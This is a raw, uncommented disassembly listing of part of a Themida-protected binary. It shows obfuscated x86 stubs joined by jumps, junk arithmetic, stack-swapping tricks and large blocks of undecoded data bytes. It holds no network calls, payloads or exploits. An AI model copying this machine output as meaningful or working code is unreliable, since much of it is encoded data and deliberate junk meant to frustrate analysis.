loc_56FB41:				; CODE XREF: Themida_:0056BAE1j
		mov	edi, 4ED05B6Ah
		jmp	loc_570256
; ---------------------------------------------------------------------------
		db 0F7h
		dd 90C281D2h, 2930E63Ch, 0AE58E9D5h, 0C781FFFFh, 6CC94761h
		dd 0A8B85058h, 4842E976h, 0FF6943E9h, 0C8B66FFh, 54166824h
		dd 0C890000h, 50E18924h, 6B77C4B8h, 116A0D61h, 35481401h
		dd 7E1643A5h, 6866B951h, 0C8315E25h, 35D0F759h,	0AAA7A3D5h
		dd 5658C101h, 0C92271BEh, 47E94644h, 81FFFF85h,	310422C1h
		dd 81E92972h, 310422E9h, 9CE95D72h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FBBF:				; CODE XREF: Themida_:00571F8Cj
		xchg	ebp, [esp]
		pop	esp
		add	al, 57h
		add	al, bl
		push	cx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_571A42
; ---------------------------------------------------------------------------
		dd 4704EFC1h, 627F781h,	0B9512BD7h, 11571929h, 0E959CF29h
		dd 1AB6h, 0E958C300h, 36E9h
; ---------------------------------------------------------------------------


loc_56FBF4:				; CODE XREF: Themida_:0056B687j
		inc	ecx
		shr	ecx, 6
		dec	ecx
		sub	ecx, 0FAECD985h
		or	ebp, ecx
		pop	ecx
		jmp	loc_56E3A1
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 4FDh, 8852C130h,	88D6F6C6h, 0C1305AF0h
		dd 0F4E9C830h, 89FFFF60h, 0F20158C6h, 4C2835Eh,	2474FF52h
		dd 48F5A04h, 51685C24h,	0E9000017h, 0FFFF9881h,	90CE957h
		dd 0B9510000h, 4, 8359CD01h, 2C8704C5h,	8F02E924h, 0CF88FFFFh
		dd 0FF7BC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FC61:				; CODE XREF: Themida_:0056823Bj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_572692
; ---------------------------------------------------------------------------
		db 49h,	56h, 0BEh
		dd 0A8D12118h, 565EF129h, 578368h, 243C8900h, 4B100768h
		dd 0B9E95F79h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FC9B:				; CODE XREF: Themida_:00573BF6j
		mov	eax, [esp]
		add	esp, 4
		push	40ABh
		jmp	loc_56BF29
; ---------------------------------------------------------------------------


loc_56FCAE:				; CODE XREF: Themida_:00563293j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_573572
		push	dword ptr [edi+1Ch]
		jmp	loc_561C63
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD3h, 0FEEDF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FCD9:				; CODE XREF: Themida_:0056516Dj
		pop	edi
		xchg	eax, edi
		jmp	loc_570490
; ---------------------------------------------------------------------------


loc_56FCE0:				; CODE XREF: Themida_:005632A9j
		pop	ecx
		jmp	loc_571269
; ---------------------------------------------------------------------------


loc_56FCE6:				; CODE XREF: Themida_:0056597Aj
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56AD89
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9595BD8h, 0FFFF4395h, 2C8BE829h, 58545024h, 405h
		dd 0D7E95600h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD1B:				; CODE XREF: Themida_:0057253Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_570722
; ---------------------------------------------------------------------------
		dw 0D231h
		dd 0FF754CE9h, 0EBC581FFh, 0E9E18131h, 62Ch
; ---------------------------------------------------------------------------


loc_56FD40:				; CODE XREF: Themida_:0056218Bj
		mov	ebp, 6BE27FF8h
		neg	ebp
		inc	ebp
		xor	ebp, 7A5459A3h
		push	ecx
		mov	ecx, 0CA72E832h
		xor	ebp, ecx
		pop	ecx
		push	3871h
		mov	[esp], edi
		mov	edi, 245529Ah
		sub	ebp, 39354B92h
		sub	ebp, 0FD03D58h
		add	ebp, edi
		add	ebp, 0FD03D58h
		add	ebp, 39354B92h
		pop	edi
		sub	ebp, 4A8858A6h
		shr	ebp, 3
		jmp	loc_562830
; ---------------------------------------------------------------------------


loc_56FD8D:				; CODE XREF: Themida_:005713ADj
		and	ebp, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	2601h
		jmp	loc_561696
; ---------------------------------------------------------------------------
		db 0B7h, 0AFh, 28h
		dd 551E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FDAE:				; CODE XREF: Themida_:00567759j
		pop	eax
		push	ecx
		push	42BF04B6h
		push	dword ptr [esp]
		jmp	loc_56157A
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0CDB3E9B1h, 0F380D3F6h, 1CE1E904h, 0C870000h, 0E95F5C24h
		dd 0FFFF56EEh, 2434FF54h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 7873040h
		shl	ebx, 5
		not	ebx
		add	ebx, 0F0E60805h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	528Dh
		mov	[esp], eax
		mov	eax, 2F970562h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 340117Bh
		add	eax, 6C6C43h
		sub	eax, edx
		sub	eax, 6C6C43h
		mov	edx, [esp]
		add	esp, 4
		or	eax, 535B3661h
		push	edx
		mov	edx, 7F5FF7E5h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 3C0D183Dh
		add	edx, eax
		add	edx, 3C0D183Dh
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dd 0E958E288h, 22F7h
; ---------------------------------------------------------------------------


loc_56FE80:				; CODE XREF: Themida_:005643E0j
		pop	eax
		shl	edi, 1
		push	edx
		push	5F727801h
		jmp	loc_56116E
; ---------------------------------------------------------------------------


loc_56FE8E:				; CODE XREF: Themida_:0056CF0Dj
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	edi, [esp]
		add	esp, 4
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 1
		mov	edx, eax
		pop	eax
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_572C5D
; ---------------------------------------------------------------------------


loc_56FEBF:				; CODE XREF: Themida_:005728EAj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_564A80
; ---------------------------------------------------------------------------


loc_56FEC9:				; CODE XREF: Themida_:0056D2BAj
		pop	ebx
		pop	eax
		pop	eax
		push	edi
		jmp	loc_565D78
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24148924h, 1A368h, 24248900h, 3CC168h, 241C8900h, 4BBh
		dd 245C0100h, 0C04FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEF6:				; CODE XREF: Themida_:005616ACj
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, 19135FF0h
		push	edi
		mov	edi, ebp
		mov	ebx, edi
		pop	edi
		pop	ebp
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_560D67
; ---------------------------------------------------------------------------


loc_56FF15:				; CODE XREF: Themida_:0057128Bj
		pop	ebp
		shr	ebp, 7
		push	70EFh
		mov	[esp], eax
		push	ebp
		mov	ebp, 422658C9h
		or	ebp, 2F440041h
		jmp	loc_561C54
; ---------------------------------------------------------------------------


loc_56FF32:				; CODE XREF: Themida_:0055FB45j
		mov	esi, 7C653F99h
		shl	esi, 4
		xor	esi, 0C653F994h
		add	ebx, 5F8D4623h
		jmp	loc_569AB9
; ---------------------------------------------------------------------------
		db 0ADh
		dd 296FBB53h, 0D801638Ch, 81241C8Bh, 4C4h, 15276800h, 0B8E90000h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF67:				; CODE XREF: Themida_:0056CABAj
		add	eax, esi
		pop	esi
		sub	eax, edx
		sub	eax, 3EB62776h
		jmp	loc_56F9CB
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 1AC280C6h, 3D28E9h, 4BF00h, 0FEE90000h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF8B:				; CODE XREF: Themida_:0057397Ej
		pop	esi
		push	esi
		mov	esi, 40530CE6h
		not	esi
		not	esi
		and	esi, 0AD72E06h
		add	esi, 6390415Ch
		push	edx
		mov	edx, 606A3CE3h
		add	edx, 39C7721Eh
		or	edx, 62A57DF2h
		jmp	loc_55FC64
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 33EBh, 5204C483h, 0D1886DB2h, 5EF1805Ah
		dd 0E94DF180h, 0FFFFDC16h, 1C581BBAh, 0CFF1E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FFE2:				; CODE XREF: Themida_:00569FA5j
		xchg	ecx, [esp]
		jmp	loc_570A5A
; ---------------------------------------------------------------------------


loc_56FFEA:				; CODE XREF: Themida_:005631B5j
		add	edx, 4E77E25h
		jmp	loc_570EA0
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 240C8B04h, 8F04C483h, 525C2404h, 0EC83B1B2h,	241C8904h
		dd 0FEFDB8E9h, 0AB850FFh, 0C139802Bh, 0D0F707E0h, 93E9D8F7h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570023:				; CODE XREF: Themida_:0055EDEBj
		add	ebp, edx
		jmp	loc_56145C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 6804C483h, 78DCh,	89241489h, 2E5DE9E2h, 0C890000h
		dd 430DB924h, 0CA2116D4h, 81B95159h, 0E94FD148h, 0FFFFE78Dh
		dd 4BFh, 5FFB0100h, 8704EB83h, 248B241Ch, 241C8924h, 227DE9h
		dd 5453AD00h, 0DDE9575Bh, 68FFFFFFh, 2,	0FF2036E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570085:				; CODE XREF: Themida_:00566D2Ej
		sub	esi, 51D93EFCh
		pop	ebp
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_563FA4
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 30h
		dd 0C1AF221Ah, 0BE5603EDh, 2C365E4Ah, 34FFF501h, 89575E24h
		dd 4C781E7h, 83000000h,	3C8704C7h, 0F5815C24h, 0BE70CBEh
		dd 8BC58145h, 0E9C193FEh, 0FFFFA7CAh, 0FF241C89h, 8B042474h
		dd 5DE9241Ch, 54FFFFEAh, 0F2E9505Bh, 52000005h,	0E5BE9h
		dd 58E23000h, 0E2C0DAF6h, 2EAC002h, 28A8C280h, 0E8285AD0h
		dd 0FF70AFE9h, 42DF68FFh, 4890000h, 56585424h, 387FB850h
		dd 0C68916DDh, 0FF51E0E9h, 51EB00FFh, 0F18081B1h, 8BCB2822h
		dd 68E9240Ch
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570137:				; CODE XREF: Themida_:00560C75j
		mov	edx, 6A2C25D4h
		jmp	loc_560873
; ---------------------------------------------------------------------------
		db 49h,	81h, 0F1h
		dd 710220Eh, 5759CF89h,	0FFEE49E9h, 2434FFFFh, 4C4835Fh
		dd 1493E9h, 35B45000h, 8058E188h, 0C18073E9h, 59CB884Fh
		dd 0FF907CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570171:				; CODE XREF: Themida_:005649F8j
		pop	esp
		push	eax
		mov	eax, 62151BA1h
		inc	eax
		push	edi
		mov	edi, 58F57D26h
		add	eax, edi
		pop	edi
		neg	eax
		jmp	loc_567B31
; ---------------------------------------------------------------------------
		align 2
		dw 8BECh
		dd 0C483240Ch, 94EB8004h, 0B252E300h, 5AD30094h, 8324048Bh
		dd 0B60F04C4h, 0B6C6E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5701AA:				; CODE XREF: Themida_:00566109j
		add	ecx, 0CB79CFD2h
		add	eax, ecx
		pop	ecx
		jmp	loc_55EEE4
; ---------------------------------------------------------------------------
		dd 5704C483h, 0FFAD12E9h, 0BD555BFFh, 1D3B5EE0h, 5601ED83h
		dd 0B0064DBEh, 1C68125h, 53643E5Bh, 0FF11BAE9h,	8811B6FFh
		dd 0C8305AF1h, 240C8B66h, 7A6F68h, 10C0E900h, 0EC830000h
		dd 241C8904h, 2E2AE9h, 2414F700h, 0FFC02D58h, 0C2299DD7h
		dd 0BAC28158h, 0E91BF763h, 185h, 52ADEE81h, 0D6F73CA7h
		dd 0E2AAF681h, 0ACE9D684h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570227:				; CODE XREF: Themida_:0056599Dj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, eax
		push	eax
		mov	eax, 454627Eh
		jmp	loc_5673D4
; ---------------------------------------------------------------------------
aSS@2		db 'Áé',8,'é@2',0
		db 0
; ---------------------------------------------------------------------------


loc_570243:				; CODE XREF: Themida_:00560EA7j
		pop	esi
		add	esp, 4
		shr	ebp, 2
		push	edi
		push	edx
		mov	edx, 63E342Dh
		jmp	loc_569607
; ---------------------------------------------------------------------------


loc_570256:				; CODE XREF: Themida_:0056FB46j
		push	ebx
		mov	ebx, 0C6F6104h
		jmp	loc_56C734
; ---------------------------------------------------------------------------


loc_570261:				; CODE XREF: Themida_:005656ECj
		mov	esp, [esp]


loc_570264:				; CODE XREF: Themida_:0056400Dj
		push	2885h
		jmp	loc_5645EB
; ---------------------------------------------------------------------------
		dw 6852h
		dd 361E1A7Dh, 0FAB6E95Ah
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57027A:				; CODE XREF: Themida_:0056658Cj
		pop	edi
		jmp	loc_56D75B
; ---------------------------------------------------------------------------
		dd 4244481h, 46B66E76h,	4245429h, 4246C81h, 46B66E76h
		dd 4244481h, 5CC26FF1h,	5324148Bh, 0B951E389h, 4, 8359CB01h
		dd 1C8704C3h, 2C815C24h, 5B177924h, 2404015Fh, 421268h
		dd 241C8900h, 736F68h, 243C8900h, 14646853h, 0C15B3012h
		dd 0F38104E3h, 512F6B47h, 815BDF89h, 344804F7h,	5E7C115h
		dd 38DF781h, 814F0D1Fh,	7738DC7h, 8BFB89B5h, 0CEE9243Ch
		dd 5A00001Fh, 0BE9F988h, 8100001Bh, 526906C6h, 81EE0176h
		dd 526906EEh, 9CBA5276h, 297A793Fh, 0E95D5AD6h,	0FFFEE92Eh
		dd 4C481h, 54520000h, 4C2815Ah,	83000000h, 148704EAh, 0C895C24h
		dd 81E18924h, 4C1h, 4C18100h, 87000000h, 665C240Ch, 662B3368h
		dd 51240489h, 0C1FEDDB1h, 0C180D1F6h, 4E1C020h,	0E927E980h
		dd 0FFFF16B1h, 6BCEC681h, 0EE2916CCh, 6BCEEE81h, 5B5D16CCh
		dd 2D5EF301h, 1B1943C7h, 74E9D829h, 0FFFFFF71h,	1C8B2434h
		dd 59545124h, 0FF2E0AE9h, 0E78957FFh, 0FFDEB8E9h, 4C381FFh
		dd 52000000h, 356F0FBAh, 6EAC111h, 0D2F7EAD1h, 434EA81h
		dd 0F2813939h, 0C6A490E9h, 93E9D329h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5703C7:				; CODE XREF: Themida_:005620AFj
		sub	eax, 89632EEh
		mov	esi, [esp]
		add	esp, 4
		add	eax, edx
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_569EC0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 678CF181h, 0C1835437h, 2EE7E9FFh, 34FF0000h,	0BC1E924h
		dd 48F0000h, 0A9E95024h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57040F:				; CODE XREF: Themida_:0056F796j
		push	esi
		jmp	loc_56BA57
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3BB7E781h, 0C781548Ch, 0F0000002h, 3C66E105h, 4C7A057Ch
		dd 65E945F3h, 59FFFFA4h, 1843E955h, 0EF810000h,	58062B4Eh
		dd 4344C781h, 0F88974ECh, 58C3015Fh, 4C381h, 1C870000h
		dd 0E9C35C24h, 0FFFEE675h, 4C381h, 0C3830000h, 241C8704h
		dd 3C3E95Ch, 0C89FFFFh,	6F3B924h, 0EB812E3Eh, 60FA3EDDh
		dd 0C381CB01h, 60FA3EDDh, 592434FFh, 0E904C483h, 0FFFFB2C2h
; ---------------------------------------------------------------------------


loc_570490:				; CODE XREF: Themida_:0056FCDBj
		xor	eax, 3CEF2174h
		push	edx
		jmp	loc_5674A8
; ---------------------------------------------------------------------------
		db 81h
		dd 9D783BC3h, 8BDD01C7h, 0C483241Ch, 5DEE0904h,	7BCDC681h
		dd 0BD55753Eh, 0F22DC3C9h, 0E95DEE29h, 0FFFEF9A2h, 4C481h
		dd 0F3800000h, 0B6526620h, 66F30092h, 5BD8005Ah, 6C1568h
		dd 24148900h, 0B4B3E953h, 0EDD1FFFFh, 925CED81h, 0EB29FFAAh
		dd 5BD9015Dh, 0FFDA70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5704F5:				; CODE XREF: Themida_:005661EAj
		sub	esp, 4
		jmp	loc_56BF3C
; ---------------------------------------------------------------------------
		dd 5B3DE95Bh, 0CA01FFFFh, 4FDFB850h, 0BA526203h, 3C405ACDh
		dd 0FFB917E9h, 1C8B5AFFh, 4C48324h, 0C8BCF88h, 4C48324h
		dd 0FFE1A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57052D:				; CODE XREF: Themida_:00563461j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564CED
; ---------------------------------------------------------------------------
		db '[h×`',0
		dw 8900h
		dd 38B9240Ch, 187E1C5h,	2CE3E9CDh, 63680000h, 8B03175Eh
		dd 0C481243Ch, 4, 1242E9h
		db 0
; ---------------------------------------------------------------------------


loc_570565:				; CODE XREF: Themida_:005661B3j
		push	ebp
		jmp	loc_5636F1
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D6F708EEh, 0E906E6C1h, 0FFFFD194h
; ---------------------------------------------------------------------------


loc_570578:				; CODE XREF: Themida_:00568E8Dj
		push	ebx
		push	esi
		mov	esi, 72D3097Eh
		neg	esi
		shr	esi, 3
		jmp	loc_56E621
; ---------------------------------------------------------------------------
		db 55h,	68h, 0F4h
		dd 5D3F4058h, 1E55E951h, 0E981FFFFh, 0BA8D4B55h, 0A9E9CF89h
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5705A3:				; CODE XREF: Themida_:005611C9j
		sub	ebx, eax
		add	ebx, 21C81442h
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 451C60A7h
		push	edx
		jmp	loc_5667C1
; ---------------------------------------------------------------------------


loc_5705C0:				; CODE XREF: Themida_:0057269Bj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 787D0530h
		shr	esi, 3
		shr	esi, 1
		sub	esi, 787D04Fh
		add	ebp, 4C9345EFh
		add	ebp, esi
		sub	esp, 4
		jmp	loc_56F987
; ---------------------------------------------------------------------------
		dd 0E958C329h, 0FFFF4080h
; ---------------------------------------------------------------------------


loc_5705F4:				; CODE XREF: Themida_:005714EAj
		not	ebp
		shl	ebp, 7
		shl	ebp, 1
		jmp	loc_562368
; ---------------------------------------------------------------------------
		dd 0E907EAC1h, 0FFFF1D83h
; ---------------------------------------------------------------------------


loc_570608:				; CODE XREF: Themida_:00572DFBj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5691BC
; ---------------------------------------------------------------------------


loc_570617:				; CODE XREF: Themida_:00564664j
		sub	ecx, esi
		jmp	loc_56DCC0
; ---------------------------------------------------------------------------


loc_57061E:				; CODE XREF: Themida_:00569EF3j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55F08B
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 24048700h, 87E9545Ch
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57063F:				; CODE XREF: Themida_:00569ECBj
		push	eax
		mov	eax, 30E572E0h
		jmp	loc_563F2E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 59A14787h, 5C0BEE81h, 0EEC116EDh, 4DBD5503h,	8179A803h
		dd 7B44D6C5h, 291EE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57066A:				; CODE XREF: Themida_:00572E83j
		sub	ax, 6496h
		push	ecx
		mov	cx, 22A1h
		sub	cx, 0A5Bh
		jmp	loc_56D1C1
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 1D90E95Ch, 0DDF7FFFFh, 0D880BB53h, 0DD312372h, 14BFE9h
		dd 2474FF00h, 0AC1CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57069E:				; CODE XREF: Themida_:0055EB8Fj
		and	esi, ebp
		pop	ebp
		add	esi, 0D8DAEEF7h
		jmp	loc_5610AF
; ---------------------------------------------------------------------------
		dd 0E9CCFE5Ah, 0FFFFBBFFh, 12B85055h, 0E90C0958h, 0FFFFEB15h
; ---------------------------------------------------------------------------


loc_5706C0:				; CODE XREF: Themida_:0056784Ej
		mov	[esp], ebx
		push	edi
		mov	edi, 0B647536h
		mov	ebx, 51AE6A6Eh
		jmp	loc_5661D7
; ---------------------------------------------------------------------------
		db 81h
		dd 990466F2h, 42DAF71Fh, 0FEFF9CE9h, 4B8FFh, 0DCE90000h
		dd 53FFFF61h, 714810BBh, 0DBCB8151h, 81417162h,	8B331DEBh
		dd 0F311E962h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570702:				; CODE XREF: Themida_:0057373Cj
		push	1C280E57h
		jmp	loc_563391
; ---------------------------------------------------------------------------


loc_57070C:				; CODE XREF: Themida_:00564E60j
		sub	dword ptr [esp], 3F804E39h
		sub	[esp], ebx
		add	dword ptr [esp], 3F804E39h
		jmp	loc_55F2AC
; ---------------------------------------------------------------------------


loc_570722:				; CODE XREF: Themida_:0056FD29j
		xchg	ecx, [esp]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	620Bh
		jmp	loc_56C625
; ---------------------------------------------------------------------------


loc_57073C:				; CODE XREF: Themida_:005692AEj
		sub	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 5B755724h
		push	ecx
		mov	ecx, 6E3A2F99h
		and	edx, ecx
		pop	ecx
		jmp	loc_565FD6
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66C80002h, 8BCC2C59h, 0C481241Ch, 4,	38A368h, 0B6D6E900h
		dd 4968FFFFh, 8900001Ah, 0EF89243Ch, 24348157h,	21322A2Ch
		dd 0D690E959h, 0E1C0FFFFh, 3E9C006h, 8096E980h,	0C380E1C3h
		dd 227AE963h, 0E3890000h, 0FF3F42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5707A1:				; CODE XREF: Themida_:005628A1j
		mov	[esp], esi
		mov	esi, 7CAD7D57h
		add	[esp+8], esi
		jmp	loc_5630AF
; ---------------------------------------------------------------------------


loc_5707B2:				; CODE XREF: Themida_:0056432Aj
		xchg	edi, ebx
		dec	edi
		xchg	edi, ebx
		not	ebx
		push	ecx
		mov	ecx, 730E019Bh
		jmp	loc_566D33
; ---------------------------------------------------------------------------


loc_5707C4:				; CODE XREF: Themida_:0056CA60j
		add	esp, 4
		shr	ecx, 0Bh
		push	723Eh
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_56C49E
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0DBh
		dd 12F1619h, 0DBBE56D5h, 0E92F1619h, 0FFFF2D5Bh, 8104C483h
		dd 4C6h, 3F0E6800h, 0E0E90000h,	89FFFF97h, 0EAC158C2h
		dd 57E94A03h, 57FFFF01h, 393FBDBFh, 8E7C115h, 55C78147h
		dd 1D69083h, 0B241E9FBh, 0D301FFFFh, 5DEDC381h,	34FF5763h
		dd 0C4835A24h, 91CB8104h, 815D5818h, 81C8ECBh, 3EBC16Dh
		dd 0FFC38AE9h, 8EAC1FFh, 0FF2CEFE9h, 247C01FFh,	24448104h
		dd 0C621C704h, 815F5F4Dh, 4C7h,	5FBB5300h, 6823C720h, 4443h
		dd 68242C89h, 2A1Fh, 0BB241C89h, 48D35966h, 815BDD89h
		dd 0DE2A89E5h, 0D035E907h, 0E168FFFFh, 8900003Ch, 5954240Ch
		dd 4EC81h, 4890000h, 46824h, 68580000h,	1820h, 55241489h
		dd 651F90BDh, 814D4533h, 0F1138DC5h, 0C9ED8110h, 0E9CC7C10h
		dd 0FFFFCB0Bh, 593C68h,	243C8900h, 0C781E789h, 4, 75BA52h
		dd 0DAF70B4Dh, 14D668h,	24348900h, 0FC3E52BEh, 0E9DEF742h
		dd 2C4Fh
; ---------------------------------------------------------------------------


loc_5708F4:				; CODE XREF: Themida_:00564A8Dj
		mov	edx, 1357B32h
		jmp	loc_56F20C
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4C3h, 4C38300h, 0E9241C87h, 2F1Fh, 0C681E689h
		dd 4, 0FF675CE9h, 0FDE953FFh, 0C0FFFEFFh, 536608ECh, 0FFC074E9h
		dd 0B796B4FFh, 0E9E700C3h, 0FFFF96B7h, 2590E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570942:				; CODE XREF: Themida_:00565FFDj
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FEE188E9h, 0C095B6FFh, 0C6FE07E6h, 0E9B6B753h, 0FFFFD0BBh
; ---------------------------------------------------------------------------


loc_570958:				; CODE XREF: Themida_:0056CAF1j
		pop	edi
		shr	ebx, 4
		add	ebx, 51BD5286h
		xor	ebx, 71732A87h
		push	ebx
		pop	edx
		pop	ebx
		jmp	loc_561313
; ---------------------------------------------------------------------------
		dd 70A3E952h, 8B59FFFFh, 0C4832434h, 0EBBA5204h, 0E9413A1Dh
		dd 152h, 0D7F7DFF7h, 0EBAF781h,	0FD015F9Fh, 0FF66C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570999:				; CODE XREF: Themida_:0056191Cj
		push	edi
		mov	edi, 56832ADh
		xor	edi, 4C12116Dh
		shr	edi, 7
		inc	edi
		not	edi
		not	edi
		xor	edi, 92F44Ch
		add	ebp, edi
		pop	edi
		jmp	loc_5629CC
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 84E95C24h, 89FFFFA3h, 0BD55241Ch,	1A580940h
		dd 5485E581h, 0E5D126B7h, 0EDC1D5F7h, 0F1AFE904h, 3C87FFFEh
		dd 24248B24h, 0E9240431h, 1587h, 59EABD55h, 0ED816A96h
		dd 42A5144Fh, 3A6DED81h, 0EDD103FEh, 6942CD81h,	0C5817E9Fh
		dd 57B82937h, 2B7FF581h, 0EA31869Ah, 946EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570A1E:				; CODE XREF: Themida_:00561A18j
		xor	ebp, 0BC55DA0Bh
		sub	esi, ebp
		pop	ebp
		push	esi
		add	dword ptr [esp], 89632EEh
		jmp	loc_5620A9
; ---------------------------------------------------------------------------
		dd 1106C381h, 0E9523507h, 0FFFF69DFh, 8734CE0Ch, 48BC688h
		dd 0E2895224h, 4C281h, 0C2830000h, 0BB9AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570A5A:				; CODE XREF: Themida_:0056FFE5j
		pop	esp
		jmp	loc_5647FE
; ---------------------------------------------------------------------------
		dd 815FF989h, 4ECh, 242C8900h, 0FF55CD89h, 148B2434h, 449DE924h
		dd 52E9FFFFh, 83FFFEE0h, 148904ECh, 37E95524h, 5E000032h
		dd 0E95AD329h, 0FFFF2582h
; ---------------------------------------------------------------------------


loc_570A94:				; CODE XREF: Themida_:005687CEj
		mov	ecx, 41957BABh
		push	3FDCh
		jmp	loc_56D82E
; ---------------------------------------------------------------------------
		db 29h
		dd 0AD2AE9CAh, 535BFFFFh, 0FF4909E9h, 48F5CFFh,	356DE924h
		dd 1BAFFFFh, 29000000h,	5A042454h, 0DDF5815Dh, 68FFFF9Dh
		dd 0AE7h, 55243489h, 26A3E95Eh,	0D2F70000h, 1742E281h
		dd 0C28152A6h, 1F5259C8h, 0FFBF04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570AED:				; CODE XREF: Themida_:0057223Bj
		or	edi, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		jmp	loc_570B7C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFDAC0E9h, 81E6D1FFh, 0ED4C85C6h, 0EEC14E76h, 48F2E908h
		dd 0C481FFFFh, 4, 5624048Fh, 4BEh, 24740100h, 0ECBEE904h
		dd 4BBFFFFh, 0E9000000h, 0FFFF532Eh, 83241C8Bh,	0C28104C4h
		dd 4, 8B241487h, 6D682424h, 8900006Dh, 55512434h, 0FF77ECE9h
